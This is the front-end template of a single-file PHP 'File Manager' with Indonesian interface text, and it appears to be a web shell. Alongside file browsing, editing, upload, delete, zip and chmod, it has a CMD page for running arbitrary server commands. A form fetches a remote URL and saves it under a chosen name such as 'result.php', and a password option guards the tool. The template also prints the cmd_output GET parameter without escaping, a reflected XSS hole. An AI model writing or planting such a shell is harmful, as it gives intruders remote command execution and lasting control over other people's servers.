<link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css'>
<link href='https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css' rel='stylesheet'>
<script src='https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js'></script>
<style>
body { padding-top: 70px; }
.navbar { position: fixed; top: 0; left: 0; right: 0; z-index: 1030; }
a { text-decoration: none; }
.clipboard-cut { background-color: #ffc10740; }
.clipboard-copy { background-color: #17a2b840; }
#batchActionsContainer { display: none; }
.path-display { font-size: 0.9em; margin-bottom: 10px; }
.table-responsive-custom {
    overflow-x: auto;
    width: 100%;
    max-width: none;
}
.table {
    min-width: 700px;
}
.table tbody tr.active-row {
    background-color: var(--bs-table-active-bg);
}
[data-bs-theme="light"] .table tbody tr.active-row {
    background-color: #e2e6ea;
}
[data-bs-theme="dark"] .table tbody tr.active-row {
    background-color: #343a40;
}
.table tbody tr:hover {
    filter: brightness(0.9);
    transition: background-color 0.1s ease-in-out;
}
.table tbody tr.active-row:hover {
    filter: brightness(0.8);
}
.navbar-nav .nav-item {
    margin-right: 5px;
}
.navbar-nav .nav-item .btn {
    background-color: rgba(108, 117, 125, 0.7);
    border-color: rgba(108, 117, 125, 0.9);
    color: #fff;
    padding: .5rem .75rem;
    display: flex;
    align-items: center;
    justify-content: center;
    width: auto;
}
.navbar-nav .nav-item .btn:hover,
.navbar-nav .nav-item .btn:focus,
.navbar-nav .nav-item .btn:active {
    background-color: rgba(108, 117, 125, 0.9);
    border-color: rgba(108, 117, 125, 1);
    box-shadow: none;
}
.navbar-nav .nav-item .btn.btn-success,
.navbar-nav .nav-item .btn.btn-primary,
.navbar-nav .nav-item .btn.btn-info,
.navbar-nav .nav-item .btn.btn-warning {
    background-color: rgba(108, 117, 125, 0.7) !important;
    border-color: rgba(108, 117, 125, 0.9) !important;
    color: #fff !important;
}
.navbar-nav .nav-item .btn.btn-success:hover,
.navbar-nav .nav-item .btn.btn-primary:hover,
.navbar-nav .nav-item .btn.btn-info:hover,
.navbar-nav .nav-item .btn.btn-warning:hover {
    background-color: rgba(108, 117, 125, 0.9) !important;
    border-color: rgba(108, 117, 125, 1) !important;
}
.navbar-nav .nav-item .btn.nav-link {
    display: inline-flex;
    align-items: center;
    justify-content: flex-start;
    padding-right: 15px;
}
.navbar-nav .nav-item .btn i {
    margin-right: 8px;
}
</style>
<script>
function toggleTheme() {
    const html = document.documentElement;
    const theme = html.dataset.bsTheme === 'dark' ? 'light' : 'dark';
    html.setAttribute('data-bs-theme', theme);
    document.cookie = 'theme=' + theme + '; path=/; max-age=31536000';
}
window.onload = () => {
    const html = document.documentElement;
    const m = document.cookie.match(/theme=(dark|light)/);
    if (m) {
        html.setAttribute('data-bs-theme', m[1]);
    } else {
        html.setAttribute('data-bs-theme', 'dark');
    }
    
    const renameModalElement = document.getElementById('renameModal');
    if (renameModalElement && renameModalElement.dataset.show === 'true') {
        const renameModal = new bootstrap.Modal(renameModalElement);
        renameModal.show();
    }

    const checkboxes = document.querySelectorAll('input[name="selected_items[]"]');
    checkboxes.forEach(checkbox => {
        checkbox.addEventListener('change', updateBatchActionsVisibility);
    });
    updateBatchActionsVisibility();

    const tableRows = document.querySelectorAll('.table tbody tr');
    tableRows.forEach(row => {
        row.addEventListener('click', function(event) {
            let target = event.target;
            while(target !== this && target !== null) {
                if (target.type === 'checkbox' || target.tagName === 'A' || target.tagName === 'BUTTON') {
                    return;
                }
                target = target.parentElement;
            }

            tableRows.forEach(r => r.classList.remove('active-row'));
            this.classList.add('active-row');
        });
    });
};

function confirmAction(action) {
    if (action === 'delete') {
        return confirm('Anda yakin ingin menghapus item yang dipilih? Aksi ini tidak dapat dibatalkan.');
    } else if (action === 'zip') {
        return confirm('Anda yakin ingin mengarsipkan item yang dipilih?');
    } else if (action === 'copy') {
        return confirm('Anda yakin ingin menyalin item yang dipilih ke clipboard?');
    } else if (action === 'cut') {
        return confirm('Anda yakin ingin memotong item yang dipilih ke clipboard?');
    }
    return true;
}

function toggleAll(source) {
    checkboxes = document.querySelectorAll('input[name="selected_items[]"]');
    for(var i=0, n=checkboxes.length;i<n;i++) {
        checkboxes[i].checked = source.checked;
    }
    updateBatchActionsVisibility();
}

function updateBatchActionsVisibility() {
    const selectedCheckboxes = document.querySelectorAll('input[name="selected_items[]"]:checked');
    const batchActionsContainer = document.getElementById('batchActionsContainer');
    if (selectedCheckboxes.length > 0) {
        batchActionsContainer.style.display = 'flex';
    } else {
        batchActionsContainer.style.display = 'none';
    }
}

function showRenameModal(oldPath, currentName) {
    // Validasi parameter
    if (!oldPath || !currentName) {
        alert('Invalid parameters for rename operation');
        return;
    }
    
    document.getElementById('renameOldPath').value = oldPath;
    document.getElementById('renameNewName').value = currentName;
    const renameModal = new bootstrap.Modal(document.getElementById('renameModal'));
    renameModal.show();
}

function showChmodModal(itemPath, currentPermsOctal) {
    // Validasi parameter
    if (!itemPath || !currentPermsOctal) {
        alert('Invalid parameters for chmod operation');
        return;
    }
    
    document.getElementById('chmodPath').value = itemPath;
    document.getElementById('chmodOctal').value = currentPermsOctal;

    // Pastikan currentPermsOctal adalah string dengan panjang minimal 3 karakter
    const octalStr = String(currentPermsOctal);
    let ownerPerms = 0, groupPerms = 0, othersPerms = 0;
    
    if (octalStr.length >= 3) {
        // Ambil 3 digit terakhir
        const permsStr = octalStr.slice(-3);
        ownerPerms = parseInt(permsStr[0]);
        groupPerms = parseInt(permsStr[1]);
        othersPerms = parseInt(permsStr[2]);
    }

    document.getElementById('owner_read').checked = (ownerPerms & 4) !== 0;
    document.getElementById('owner_write').checked = (ownerPerms & 2) !== 0;
    document.getElementById('owner_execute').checked = (ownerPerms & 1) !== 0;

    document.getElementById('group_read').checked = (groupPerms & 4) !== 0;
    document.getElementById('group_write').checked = (groupPerms & 2) !== 0;
    document.getElementById('group_execute').checked = (groupPerms & 1) !== 0;

    document.getElementById('others_read').checked = (othersPerms & 4) !== 0;
    document.getElementById('others_write').checked = (othersPerms & 2) !== 0;
    document.getElementById('others_execute').checked = (othersPerms & 1) !== 0;

    updateOctalFromCheckboxes();

    const chmodModal = new bootstrap.Modal(document.getElementById('chmodModal'));
    chmodModal.show();
}

function updateOctalFromCheckboxes() {
    let owner = 0;
    if (document.getElementById('owner_read').checked) owner += 4;
    if (document.getElementById('owner_write').checked) owner += 2;
    if (document.getElementById('owner_execute').checked) owner += 1;

    let group = 0;
    if (document.getElementById('group_read').checked) group += 4;
    if (document.getElementById('group_write').checked) group += 2;
    if (document.getElementById('group_execute').checked) group += 1;

    let others = 0;
    if (document.getElementById('others_read').checked) others += 4;
    if (document.getElementById('others_write').checked) others += 2;
    if (document.getElementById('others_execute').checked) others += 1;

    document.getElementById('chmodOctal').value = '0' + owner.toString() + group.toString() + others.toString();
}

document.addEventListener('DOMContentLoaded', function() {
    const chmodCheckboxes = document.querySelectorAll('#chmodModal input[type="checkbox"]');
    chmodCheckboxes.forEach(checkbox => {
        checkbox.addEventListener('change', updateOctalFromCheckboxes);
    });
});

function clearCmdOutput() {
    window.location.href = "?action=cmd&d=" + encodeURIComponent("<?php echo $cwd; ?>");
}
</script>
</head>
<body class='p-4'>

<nav class="navbar navbar-expand-lg navbar-dark bg-dark">
  <div class="container-fluid">
    <a class="navbar-brand" href="?d=<?php echo urlencode($cwd); ?>">File Manager</a>
    <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarNav" aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation">
      <span class="navbar-toggler-icon"></span>
    </button>
    <div class="collapse navbar-collapse" id="navbarNav">
      <ul class="navbar-nav me-auto mb-2 mb-lg-0">
        <li class="nav-item">
             <a class="btn btn-secondary nav-link" href="<?php echo htmlspecialchars($self); ?>"><i class='fa fa-home'></i> Home</a>
        </li>
        <li class="nav-item">
          <button class="btn nav-link" data-bs-toggle="modal" data-bs-target='#createModal'><i class='fa fa-plus'></i> New File/Folder</button>
        </li>
        <li class="nav-item">
          <button class="btn nav-link" data-bs-toggle='modal' data-bs-target='#uploadModal'><i class='fa fa-upload'></i> Upload</button>
        </li>
        <?php if (!empty($clipboard_items)): ?>
        <li class="nav-item">
          <form method='post' class='d-inline-block'>
              <input type='hidden' name='csrf_token' value='<?php echo $csrf_token; ?>'>
              <input type='hidden' name='paste_item' value='1'>
              <button type='submit' class='btn nav-link'><i class='fa fa-paste'></i> Paste (<?php echo ($clipboard_type === 'cut' ? 'Cut' : 'Copy') . " " . count($clipboard_items); ?>)</button>
          </form>
        </li>
        <?php endif; ?>
        <li class="nav-item">
          <a href='?action=password&d=<?php echo urlencode($cwd); ?>' class='btn nav-link'><i class='fa fa-lock'></i> Password</a>
        </li>
        <li class="nav-item">
          <a href='?action=info&d=<?php echo urlencode($cwd); ?>' class='btn nav-link'><i class='fa fa-info-circle'></i> Info</a>
        </li>
        <li class="nav-item">
        <?php if (function_exists('proc_open')): ?>
          <a href='?action=cmd&d=<?php echo urlencode($cwd); ?>' class='btn nav-link'><i class='fa fa-terminal'></i> CMD</a>
        <?php else: ?>
          <button class='btn nav-link' disabled title='CMD dinonaktifkan di server ini'><i class='fa fa-terminal'></i> CMD</button>
        <?php endif; ?>
        </li>
      </ul>
      <button onclick='toggleTheme()' class='btn btn-dark'><i class='fa fa-adjust'></i> Theme</button>
    </div>
  </div>
</nav>

<div class="container-fluid pt-3">
<?php if ($msg) echo "<div class='alert alert-info mt-3'>" . $msg . "</div>"; ?>
<?php if (isset($_GET['cmd_output']) && $_GET['action'] === 'cmd'): ?>
    <div class='alert alert-secondary mt-3'>Output:<br><?php echo urldecode($_GET['cmd_output']); ?></div>
<?php endif; ?>
<br><br>

<div class="table-responsive-custom mb-3">
    <table class='table table-bordered table-sm'>
        <thead>
            <tr>
                <th>
    <i class='fa fa-folder'></i><span style="font-weight: bold;"> <?php echo breadcrumbs($cwd, $self); ?></span>
                </th>
            </tr>
        </thead>
    </table>
</div>

<?php
if (isset($_GET['action'])) {
    echo "<a href='?d=" . urlencode($cwd) . "' class='btn btn-sm btn-secondary mb-3 mt-2'><i class='fa fa-arrow-left'></i> Kembali</a>";
    if ($_GET['action'] === 'password') {
        echo "<form method='post' class='mb-3'>
        <input type='hidden' name='csrf_token' value='$csrf_token'>
        <label for='setpass' class='form-label'>Set New Password:</label>
        <input type='password' name='setpass' id='setpass' class='form-control mb-2' placeholder='Enter new password'>
        <button class='btn btn-warning'>Simpan Password</button></form>
        <form method='post' class='mt-2'>
        <input type='hidden' name='csrf_token' value='$csrf_token'>
        <input type='hidden' name='delpass' value='1'>
        <button class='btn btn-danger'>Hapus Password</button></form>";
    } elseif ($_GET['action'] === 'info') {
        echo '<div class="container">
        <h1 class="mb-3">File Manager</h1>
        <hr>
        <p><strong>Author:</strong> <span style="color:#0f0">Admin</span></p>
        <p><strong>Contact:</strong> <a href="mailto:admin@example.com" target="_blank">Email</a></p>
        <p><strong>Purpose:</strong></p>
        <ul>
            <li>Web-based file management without FTP</li>
            <li>Remote file management on hosting or VPS</li>
            <li>Features include upload, edit, rename, delete, password protection, and theme toggle</li>
        </ul>
        <p class="text-muted">Version: 1.0 | Last updated: July 2025</p>
    </div>';

    } elseif ($_GET['action'] === 'cmd') {
        if (!function_exists('proc_open')) {
            echo "<div class='alert alert-warning'>Command execution (CMD) is disabled on this server by your hosting provider.</div>";
        }
        echo "<form method='post' class='mt-3'>
        <input type='hidden' name='csrf_token' value='$csrf_token'>
        <label for='command_input' class='form-label'>Execute Command:</label>
        <div class='input-group mb-2'>
            <input name='command' id='command_input' placeholder='Enter command' class='form-control'>
            <button type='submit' class='btn btn-primary' name='cmd_exec'>Execute</button>
            <button type='button' class='btn btn-outline-secondary' onclick='clearCmdOutput()'>Clear Output</button>
        </div>
        </form>";

        if (!empty($_SESSION['cmd_history'])) {
            echo "<h6 class='mt-4'>Command History:</h6>
            <div class='list-group mb-3' style='max-height: 200px; overflow-y: auto;'>";
            foreach ($_SESSION['cmd_history'] as $hist_cmd) {
                echo "<a href='#' class='list-group-item list-group-item-action list-group-item-secondary' onclick='document.getElementById(\"command_input\").value = \"" . addslashes($hist_cmd) . "\"; return false;'>" . htmlspecialchars($hist_cmd) . "</a>";
            }
            echo "</div>
            <form method='post'>
                <input type='hidden' name='csrf_token' value='$csrf_token'>
                <button type='submit' name='clear_cmd_history' class='btn btn-sm btn-danger' onclick='return confirm(\"Are you sure you want to clear command history?\")'>Clear History</button>
            </form>";
        }

        echo "<h6 class='mt-4'>Import Raw File from URL:</h6>
        <form method='post' class='mb-3'>
            <input type='hidden' name='csrf_token' value='$csrf_token'>
            <label for='url_to_download_raw' class='form-label'>URL Raw File:</label>
            <input type='url' name='url_to_download_raw' id='url_to_download_raw' placeholder='https://example.com/raw.txt' class='form-control mb-2' required>

            <label for='filename_to_save' class='form-label'>Save As (filename):</label>
            <input type='text' name='filename_to_save' id='filename_to_save' placeholder='result.php' class='form-control mb-2' required>

            <button type='submit' class='btn btn-success' name='download_url_and_save'>Download & Save</button>
        </form>";
    }
    echo "</div></body></html>";
    exit;
}
?>

<form method='post' id='batch_form'>
<input type='hidden' name='csrf_token' value='<?php echo $csrf_token; ?>'>
<div class="table-responsive-custom">
<table class='table table-bordered table-sm'><thead>
<tr><th><input type='checkbox' onclick='toggleAll(this)'></th><th>Name</th><th>Size</th><th>Last Modified</th><th>Perms</th><th>Actions</th></tr></thead><tbody>
<?php
foreach (list_dir($cwd) as $i) {
    $n = htmlspecialchars($i['name']);
    $p = htmlspecialchars($i['path']);
    $encoded_p = urlencode($i['path']);
    $file_perms_octal = perms_to_octal(@fileperms($i['path']));

    $row_class = '';
    if (in_array(realpath($i['path']), $clipboard_items)) {
        $row_class = 'clipboard-' . $clipboard_type;
    }

    echo "<tr class='" . $row_class . "'>";
    echo "<td><input type='checkbox' name='selected_items[]' value='" . $encoded_p . "'></td>";
    echo "<td>" . ($i['is_dir'] ? "<a href='?d=" . $encoded_p . "'><i class='fa fa-folder-o'></i> $n</a>" : "<i class='fa fa-file-o'></i> $n") . "</td>";
    echo "<td>" . formatSize($i['size']) . "</td>";
    echo "<td>" . date('Y-m-d H:i', $i['mtime']) . "</td>";
    echo "<td>" . perms($i['path']) . " ($file_perms_octal)</td>";
    echo "<td class='d-flex flex-wrap gap-1'>"
    . (!$i['is_dir'] ? "<a href='?edit=" . $encoded_p . "&d=" . urlencode($cwd) . "' class='btn btn-sm btn-warning'><i class='fa fa-edit'></i></a>" : "")
    . (!$i['is_dir'] ? "<a href='?download=" . $encoded_p . "&d=" . urlencode($cwd) . "' class='btn btn-sm btn-success'><i class='fa fa-download'></i></a>" : "")
    . "<button type='button' class='btn btn-sm btn-secondary' onclick='showRenameModal(\"" . $encoded_p . "\", \"" . addslashes($n) . "\")'><i class='fa fa-pencil'></i></button>"
    . "<button type='button' class='btn btn-sm btn-dark' onclick='showChmodModal(\"" . $encoded_p . "\", \"" . $file_perms_octal . "\")'><i class='fa fa-key'></i></button>"
    . "<a href='?delete=" . $encoded_p . "&d=" . urlencode($cwd) . "' class='btn btn-sm btn-danger' onclick='return confirm(\"Yakin ingin menghapus " . ($i['is_dir'] ? "folder ini beserta isinya" : "file ini") . "?\")'><i class='fa fa-trash-o'></i></a>"
    . (preg_match('/\.(zip|rar|tar|gz|7z)$/i', $n) && !$i['is_dir'] ? "<a href='?unzip=" . $encoded_p . "&d=" . urlencode($cwd) . "' class='btn btn-sm btn-info' onclick='return confirm(\"Yakin ingin mengekstrak file ini?\")'><i class='fa fa-file-archive-o'></i></a>" : "")
    . "</td></tr>";

}
?>
</tbody></table>
</div>

<div class='mb-3 d-flex gap-2' id='batchActionsContainer'>
    <select name='batch_action' class='form-select' style='width:auto;'>
        <option value='delete'>Delete</option>
        <option value='zip'>Zip</option>
        <option value='copy'>Copy</option>
        <option value='cut'>Cut</option>
    </select>
    <button type='submit' class='btn btn-primary' onclick='return confirmAction(this.form.batch_action.value);'>Execute</button>
</div>
</form>

<div class="modal fade" id="uploadModal" tabindex="-1" aria-labelledby="uploadModalLabel" aria-hidden="true">
  <div class="modal-dialog">
    <div class="modal-content">
      <div class="modal-header">
        <h5 class="modal-title" id="uploadModalLabel">Upload File</h5>
        <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
      </div>
      <form method="post" enctype="multipart/form-data">
        <input type='hidden' name='csrf_token' value='<?php echo $csrf_token; ?>'>
        <div class="modal-body">
          <input type="file" name="uploadfile" class="form-control">
        </div>
        <div class="modal-footer">
          <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
          <button type="submit" class="btn btn-primary" name="uploadfile">Upload</button>
        </div>
      </form>
    </div>
  </div>
</div>

<div class="modal fade" id="createModal" tabindex="-1" aria-labelledby="createModalLabel" aria-hidden="true">
  <div class="modal-dialog">
    <div class="modal-content">
      <div class="modal-header">
        <h5 class="modal-title" id="createModalLabel">Create New</h5>
        <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
      </div>
      <div class="modal-body">
        <h6><i class='fa fa-file-code-o'></i> Create New File</h6>
        <form method="post" class="mb-4">
          <input type='hidden' name='csrf_token' value='<?php echo $csrf_token; ?>'>
          <input name="newfile" placeholder="File Name (e.g., index.php)" class="form-control mb-2" required>
          <textarea name="filedata" class="form-control mb-2" placeholder="File Content (optional)" rows="5"></textarea>
          <button type="submit" class="btn btn-success">Create File</button>
        </form>

        <hr>

        <h6><i class='fa fa-folder-open-o'></i> Create New Folder</h6>
        <form method="post">
          <input type='hidden' name='csrf_token' value='<?php echo $csrf_token; ?>'>
          <input name="newfolder" placeholder="Folder Name (e.g., my_new_dir)" class="form-control mb-2" required>
          <button type="submit" class="btn btn-success">Create Folder</button>
        </form>
      </div>
      <div class="modal-footer">
        <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
      </div>
    </div>
  </div>
</div>

<div class="modal fade" id="renameModal" tabindex="-1" aria-labelledby="renameModalLabel" aria-hidden="true">
  <div class="modal-dialog">
    <div class="modal-content">
      <div class="modal-header">
        <h5 class="modal-title" id="renameModalLabel">Rename Item</h5>
        <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
      </div>
      <form method="post">
        <input type='hidden' name='csrf_token' value='<?php echo $csrf_token; ?>'>
        <div class="modal-body">
          <input type="hidden" name="old_path_rename" id="renameOldPath">
          <div class="mb-3">
            <label for="renameNewName" class="form-label">New Name:</label>
            <input type="text" name="new_name" id="renameNewName" class="form-control" required>
          </div>
        </div>
        <div class="modal-footer">
          <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button>
          <button type="submit" class="btn btn-primary" name="rename_submit">Rename</button>
        </div>
      </form>
    </div>
  </div>
</div>

<div class="modal fade" id="chmodModal" tabindex="-1" aria-labelledby="chmodModalLabel" aria-hidden="true">
  <div class="modal-dialog">
    <div class="modal-content">
      <div class="modal-header">
        <h5 class="modal-title" id="chmodModalLabel">Change Permissions (CHMOD)</h5>
        <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
      </div>
      <form method="post">
        <input type='hidden' name='csrf_token' value='<?php echo $csrf_token; ?>'>
        <div class="modal-body">
          <input type="hidden" name="chmod_path" id="chmodPath">
          <div class="mb-3">
            <label for="chmodOctal" class="form-label">Octal Permissions:</label>
            <input type="text" name="chmod_octal" id="chmodOctal" class="form-control" pattern="[0-7]{3,4}" title="Use 3 or 4 octal digits (e.g., 0755)" required>
            <small class="form-text text-muted">Example: 755 (rwxr-xr-x), 644 (rw-r--r--)</small>
          </div>
          <div class="mb-3">
            <h6>Symbolic Permissions:</h6>
            <div class="row">
              <div class="col-4">
                <strong>Owner</strong><br>
                <div class="form-check">
                  <input class="form-check-input" type="checkbox" id="owner_read">
                  <label class="form-check-label" for="owner_read">Read</label>
                </div>
                <div class="form-check">
                  <input class="form-check-input" type="checkbox" id="owner_write">
                  <label class="form-check-label" for="owner_write">Write</label>
                </div>
                <div class="form-check">
                  <input class="form-check-input" type="checkbox" id="owner_execute">
                  <label class="form-check-label" for="owner_execute">Execute</label>
                </div>
              </div>
              <div class="col-4">
                <strong>Group</strong><br>
                <div class="form-check">
                  <input class="form-check-input" type="checkbox" id="group_read">
                  <label class="form-check-label" for="group_read">Read</label>
                </div>
                <div class="form-check">
                  <input class="form-check-input" type="checkbox" id="group_write">
                  <label class="form-check-label" for="group_write">Write</label>
                </div>
                <div class="form-check">
                  <input class="form-check-input" type="checkbox" id="group_execute">
                  <label class="form-check-label" for="group_execute">Execute</label>
                </div>
              </div>
              <div class="col-4">
                <strong>Others</strong><br>
                <div class="form-check">
                  <input class="form-check-input" type="checkbox" id="others_read">
                  <label class="form-check-label" for="others_read">Read</label>
                </div>
                <div class="form-check">
                  <input class="form-check-input" type="checkbox" id="others_write">
                  <label class="form-check-label" for="others_write">Write</label>
                </div>
                <div class="form-check">
                  <input class="form-check-input" type="checkbox" id="others_execute">
                  <label class="form-check-label" for="others_execute">Execute</label>
                </div>
              </div>
            </div>
          </div>
        </div>
        <div class="modal-footer">
          <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button>
          <button type="submit" class="btn btn-primary" name="set_chmod">Apply CHMOD</button>
        </div>
      </form>
    </div>
  </div>
</div>

</body>
</html>